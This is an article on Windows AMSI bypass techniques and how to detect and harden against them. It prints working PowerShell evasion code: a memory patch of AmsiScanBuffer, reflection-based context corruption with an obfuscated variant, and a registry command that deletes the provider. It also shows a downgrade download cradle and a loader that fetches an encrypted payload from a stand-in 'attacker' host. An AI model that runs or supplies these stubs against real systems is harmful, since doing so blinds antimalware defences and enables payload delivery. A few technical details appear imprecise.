TL;DR — The Antimalware Scan Interface (AMSI) is a Windows API that exposes script content to registered security products before execution. Every meaningful PowerShell, JScript, VBScript, and C# compile-and-run path callsAmsiScanBufferorAmsiScanString. Bypassing AMSI means either corrupting the scanner's result, patching the scanning function to return clean, or avoiding AMSI-instrumented runtimes altogether. This article walks through the five principal bypass classes, their detection signatures, how Microsoft has progressively hardened each one, and what defenders must instrument at every layer to catch even the most obfuscated bypass attempts.
Executive Summary
When Microsoft introduced AMSI in Windows 10 and Server 2016, it closed a gap that attackers had exploited for years: powerful interpreted and compiled-on-the-fly languages like PowerShell and Roslyn C# were invisible to traditional file-based scanners. AMSI routes the content of a script or assembly — before it ever executes — to whatever security product is registered as the AMSI provider. In a standard Windows Defender environment, this means every PowerShell scriptblock, every JScript invocation, and every C# runtime compilation is scanned against the full signature database.
From an offensive perspective, AMSI is a gate that must be defeated before staging payloads in memory. Commodity offensive toolkits (Cobalt Strike, Metasploit, Empire, Sliver) all include AMSI bypass stubs as part of their PowerShell staging chains. From a defensive perspective, AMSI is a control point that, once bypassed, silences an entire category of telemetry — everything that follows runs in a blind spot.
Understanding the bypass mechanics at a technical level is essential for both sides of the equation.
How AMSI Works: The Architecture
AMSI is implemented as a small DLL (amsi.dll) that is loaded into every process that uses AMSI-instrumented runtimes. When PowerShell prepares to execute a scriptblock, it calls AmsiScanBuffer with a pointer to the script content and its length. The AMSI infrastructure routes that call to the registered provider (typically MpOav.dll — the Windows Defender AMSI integration), which scans the content and returns a result code.
sequenceDiagram
participant PS as PowerShell / C# / JScript
participant RT as .NET / Scripting Runtime
participant AMSI as amsi.dll (AmsiScanBuffer)
participant AV as Security Product (AMSI Provider)
PS->>RT: Invoke-Expression "payload"
RT->>AMSI: AmsiScanBuffer(hAmsiContext, content, length, 0, session, result)
AMSI->>AV: Route to registered COM provider
AV-->>AMSI: AMSI_RESULT_CLEAN (1) or AMSI_RESULT_DETECTED (32768)
AMSI-->>RT: Return result
RT-->>PS: Execute if clean / Throw SecurityException if detectedThe two critical AMSI exports are:
| Export | Called when |
|---|---|
AmsiInitialize | Runtime startup — creates an AMSI context handle stored in the runtime's state |
AmsiScanBuffer | Before each scriptblock, compile unit, or streaming chunk executes |
AmsiScanString | Wide-string variant; also called before execution of short string-form invocations |
AmsiOpenSession | Creates a per-session context for correlating related scan calls |
AmsiCloseSession | Teardown |
If AmsiScanBuffer returns AMSI_RESULT_DETECTED (value 32768, which is 0x8000 — Windows error E_FAIL range), the calling runtime throws an exception. In PowerShell the exception text reads: "This script contains malicious content and has been blocked by your antivirus software." The bypass goal: ensure that function returns AMSI_RESULT_CLEAN (value 1) regardless of what the content actually contains.
Bypass Class 1 — Patching AmsiScanBuffer in Memory
The oldest, most commonly documented approach patches the first few bytes of the AmsiScanBuffer function to force an immediate return with a benign result code. Because amsi.dll is loaded into the attacker's own process, they have write access to its memory (with the appropriate page protection change).
The canonical patch sequence writes mov eax, 0x80070057; ret at the function entry point. The value 0x80070057 is E_INVALIDARG — a Windows HRESULT that AMSI interprets as "clean" rather than "detected."
// Classic PowerShell AMSI patch via reflection and PInvoke$Win32 = @"using System;using System.Runtime.InteropServices;public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);}"@Add-Type $Win32 $lib = [Win32]::LoadLibrary("amsi.dll")$addr = [Win32]::GetProcAddress($lib, "AmsiScanBuffer")$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) # mov eax,0x80070057; ret $oldProt = 0[Win32]::VirtualProtect($addr, [UIntPtr]6, 0x40, [ref]$oldProt) | Out-Null[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $addr, 6)[Win32]::VirtualProtect($addr, [UIntPtr]6, $oldProt, [ref]$oldProt) | Out-NullWhy this works: The scan result is never computed — execution returns immediately after the mov eax / ret pair before any scanning logic runs.
Detection artefact: A VirtualProtect call that changes a page inside amsi.dll's .text section to writable (PAGE_EXECUTE_READWRITE, value 0x40) is extremely rare in legitimate code. This change is directly observable via:
- ETW
Microsoft-Windows-Kernel-Audit-API-Callsprovider - EDR kernel callbacks (
PsSetCreateThreadNotifyRoutineindirectly; directNtProtectVirtualMemoryaudit) - PowerShell ScriptBlock Logging (the PInvoke declaration itself appears in the logged content)
Microsoft hardened this in later builds by adding AMSI telemetry that logs when amsi.dll's own memory is modified. However, many variants obfuscate the VirtualProtect call itself to avoid string-based detection of the stub.
Bypass Class 2 — Corrupting the AMSI Context via Reflection
AmsiInitialize stores a context structure (HAMSICONTEXT) on the heap. PowerShell caches this context in a private static field inside System.Management.Automation.AmsiUtils. Zeroing the field causes the AMSI call site to check for null before calling AmsiScanBuffer and short-circuit — returning clean without scanning.
This approach avoids any memory page protection changes, making it stealthier at the API level than Class 1.
# Context corruption via .NET reflection$type = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')$field = $type.GetField('amsiContext', [Reflection.BindingFlags]'NonPublic,Static')$context = $field.GetValue($null) # Overwrite the HAMSICONTEXT handle with IntPtr.Zero$field.SetValue($null, [IntPtr]::Zero)When PowerShell subsequently calls AmsiScanBuffer, the AMSI runtime detects a null context and returns without scanning. The next call to Invoke-Expression proceeds uninspected.
Variants:
- Overwrite the
amsiInitFailedboolean field to$true— causes the runtime to skip the scan path entirely on the grounds that AMSI initialisation failed - Overwrite the
amsiSessionfield (HAMSISESSION) in addition to the context - Combine both to ensure all code paths are blocked
Detection artefact: .NET reflection access to a NonPublic, Static field named amsiContext inside System.Management.Automation.AmsiUtils is logged in PowerShell ScriptBlock Event ID 4104. This specific pattern — [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') — is a well-known IoC and has been in Defender signatures since late 2017. Modern bypass variants heavily obfuscate the string System.Management.Automation.AmsiUtils using character concatenation, char[] arrays, or encoding tricks:
# Obfuscated variant — splits the type name to evade string signature$s = [char[]](83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116) -join ''$s += [char[]](46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115) -join ''$t = [Ref].Assembly.GetType($s)Bypass Class 3 — AMSI Provider Unregistration
AMSI providers are registered under:
HKLM\SOFTWARE\Microsoft\AMSI\Providers\{CLSID}Deleting the provider CLSID key causes AMSI to have no registered scanner. AmsiScanBuffer still gets called but finds no provider and returns AMSI_RESULT_CLEAN by default.
# Requires administrator privilegesreg delete "HKLM\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" /fLimitation: This technique requires administrative privileges, which constrains its applicability during initial access phases. It also creates a persistent registry change that survives reboots — much louder than in-process patches.
Detection: Registry audit logging with Event ID 4657 (registry value deleted) on the AMSI Providers key. Security products actively watch this key; many EDRs will detect and alert on provider removal within seconds.
Bypass Class 4 — PowerShell Version 2 Downgrade
PowerShell 2.0 predates AMSI entirely and contains no AMSI instrumentation. If the .NET Framework 2.0/3.5 feature is installed (common on legacy enterprise environments), the entire runtime executes scripts without touching AMSI infrastructure.
powershell.exe -Version 2 -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://.../')"This is a legitimate Windows binary, signed by Microsoft, executing through a completely different runtime codepath.
Hardening: Remove the PowerShell v2 engine via Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root. In modern Windows, PowerShell v2 is disabled by default but can be re-enabled by any administrator. Verify its state across the fleet with:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root | Select StateDetection: PowerShell version invocations are logged in Event ID 400 (PowerShell engine lifecycle). A -Version 2 parameter value combined with encoded commands or download cradles is a high-confidence IoC.
Bypass Class 5 — Encrypted Payload Delivery Past the Scan Point
AMSI scans content at the moment of evaluation. If a payload is delivered as an encrypted or encoded blob that is decrypted only inside a trusted function that has already passed the AMSI scan boundary, the plaintext content never touches AmsiScanBuffer.
The classic pattern is "download cradle + in-memory decryption":
# Encrypted payload fetch — the downloaded bytes are ciphertext$bytes = (New-Object Net.WebClient).DownloadData("http://attacker/payload.enc") # Decrypt in memory$key = [Convert]::FromBase64String("aGVsbG9rZXk=")$aes = [System.Security.Cryptography.Aes]::Create()$aes.Key = $key; $aes.IV = $bytes[0..15]$payload = $aes.CreateDecryptor().TransformFinalBlock($bytes, 16, $bytes.Length - 16) # Load — note: Assembly.Load from byte array DOES trigger AMSI in .NET 4.8+[System.Reflection.Assembly]::Load($payload)Important caveat: Microsoft added AMSI scanning for Assembly.Load(byte[]) in .NET 4.8. Attackers therefore combine this with one of the earlier bypass classes (particularly Class 2) to ensure the AMSI context is corrupted before the assembly load call.
Advanced variant — staged loader:
- Stage 1: Small PowerShell stub that performs the AMSI bypass (Class 1 or 2) — this script is safe enough to pass AMSI on its own
- Stage 2: Download and execute the actual payload — which now runs in an AMSI-blind environment
This staging pattern defeats both AMSI scanning (bypassed before stage 2) and signature databases (stage 1 contains no offensive payload signatures).
AMSI in Non-PowerShell Contexts
AMSI is not a PowerShell-only control. The following runtimes all call AmsiScanBuffer:
| Runtime | What gets scanned | Key API Path |
|---|---|---|
Windows Script Host (JScript/VBScript via wscript.exe, cscript.exe) | Script content before parse | jscript.dll, vbscript.dll |
| Microsoft Office macro engine (VBA) | Macro source before execution | VBE7.dll |
COM scriptlets (.sct files via regsvr32.exe) | Scriptlet XML | scrobj.dll |
| .NET Roslyn C# compiler | Source code passed to compile API | csc.exe, Roslyn |
Python (via pythoncom on Windows) | Content before ShellExecute | Platform-specific |
| WSL2 (experimental, Windows 11) | Some inter-op call paths | Expanding coverage |
Patching the in-process copy of amsi.dll defeats AMSI for the current process regardless of which of these runtimes is doing the calling. Each process loads its own copy of amsi.dll, so a patch in one process does not affect others.
Detection-in-Depth Strategy
A mature defense does not rely on any single AMSI telemetry path. The architecture should layer:
flowchart TD
A["AMSI Bypass Detection Layers"] --> B["Layer 1: PowerShell ScriptBlock Logging (Event 4104)<br/>Log all evaluated scriptblock content — bypass stubs appear here"]
A --> C["Layer 2: ETW — VirtualProtect on amsi.dll .text<br/>Page protection change on system DLL code section"]
A --> D["Layer 3: Reflection access to AmsiUtils private fields<br/>Any access to NonPublic members of SMA.AmsiUtils"]
A --> E["Layer 4: Registry audit — AMSI\Providers key modification<br/>Event ID 4657 on provider CLSID keys"]
A --> F["Layer 5: Process: powershell.exe -Version 2 invocations<br/>Event ID 400 PowerShell engine lifecycle"]
A --> G["Layer 6: Transcript logging — full session capture<br/>PowerShell Transcription policy via GPO"]
style A fill:#0c2a22,stroke:#21d48e,color:#d1fae5Layer priorities:
- ScriptBlock Logging is mandatory. It captures evaluated content before obfuscation is peeled, capturing the original encoded/encrypted form AND (on the next evaluation boundary) the decoded form. Enable via GPO:
Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on PowerShell Script Block Logging.
- ETW `Microsoft-Windows-Kernel-Audit-API-Calls`. The specific
VirtualProtectchange on a page range insideamsi.dllis effectively unique to Class 1 bypasses. Configure the provider in your EDR or use a standalone ETW consumer.
- Constrained Language Mode (CLM). Deploying PowerShell in CLM via AppLocker or WDAC prevents arbitrary .NET method calls, breaking Class 2 (reflection-based context corruption). CLM does not affect ScriptBlock execution, but it does block
Add-Type,.NETreflection, andInvoke-Expressionwith complex .NET types.
- Known obfuscation pattern signatures. Products like CrowdStrike and SentinelOne ship signatures for the specific reflection field names, even when encoded. Maintain these signatures as a detection layer even though they are bypassable.
The Arms Race: Microsoft Hardening Timeline
| Year | Hardening measure | Bypassed via |
|---|---|---|
| 2015 | AMSI introduced (Win 10 / Server 2016) | None initially |
| 2016 | Defender adds AMSI signatures for common PowerShell tools | String obfuscation |
| 2017 | amsiContext reflection bypass discovered | Obfuscated reflection |
| 2018 | Defender adds reflection field name signatures | Character encoding, char arrays |
| 2019 | AMSI bypass IoC detection in Windows Defender ATP | Opaque constant evaluation |
| 2020 | .NET 4.8 adds AMSI to Assembly.Load(byte[]) | Combine with context corruption |
| 2021 | AMSI integration in Excel / VBA extended | Macro-specific bypasses |
| 2022–23 | Expanded AMSI coverage in .NET 6/7 | Platform-specific research |
| 2024 | Improved ETW-based AMSI telemetry in Windows 11 | Kernel-bypass techniques |
Real-World AMSI Bypass in Offensive Toolkits
Metasploit includes a PowerShell AMSI bypass (amsi_bypass_powershell.rb) as part of its reflective injection chain. By default it uses an obfuscated version of Class 1, dynamically generating the patch bytes to avoid static detection.
Cobalt Strike (Malleable C2 + AMSI bypass integration) allows operators to specify a custom AMSI bypass script that fires before any PowerShell payload is staged. This is configured in the team server's set amsi_disable block.
Empire / Starkiller implements multiple bypass classes as interchangeable modules, allowing red teamers to rotate between bypass variants as signatures are added.
All three platforms implement evasion at multiple levels: the bypass stub itself is obfuscated, the bypass is staged before the payload, and the payload is delivered encrypted. This layered approach is what makes AMSI bypass a practical, repeatable component of offensive operations rather than an occasional one-off trick.
Lab Setup: Testing AMSI Bypass Effectiveness
To validate bypass techniques in a controlled environment:
# Confirm AMSI is active — this should fail with detection errorInvoke-Expression "amsitest" # Verify bypass success after applying technique# Use an EICAR-like test string that Defender detects in AMSI$testString = "X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"# If AMSI is active: throws SecurityException# If AMSI is bypassed: executes (does nothing harmful — just a test string)Invoke-Expression $testStringUse a lab VM with Windows Defender active, Windows Security Center enabled, and ScriptBlock Logging enabled. Monitor Event Viewer → Microsoft-Windows-PowerShell/Operational for Event ID 4104 entries during bypass testing.
Conclusion
AMSI bypass is a prerequisite for nearly all in-memory PowerShell and C# payload delivery in modern offensive operations. The bypass landscape is a continuous arms race: Microsoft hardens one class of technique (scanning Assembly.Load, monitoring reflection access to AmsiUtils), operators move to the next class or layer obfuscation on top of the previous one.
Defenders win by instrumenting the invariants — the mandatory page-protection changes, the registry key access, the PowerShell version downgrade, and the reflection access patterns — rather than chasing specific bypass strings that rotate with every new tool release. Layering ETW, ScriptBlock logging, CLM, and kernel-level telemetry at the AMSI provider layer removes the single-point-of-failure nature of AMSI as a control, converting it from a single gate that can be bypassed into a detection opportunity that alerts on the bypass attempt itself.
The most important operational principle: an AMSI bypass is not silent. Every bypass technique leaves at least one observable artefact. The defender's job is to ensure those artefacts are collected, correlated, and actioned before the bypassed payload achieves its objective.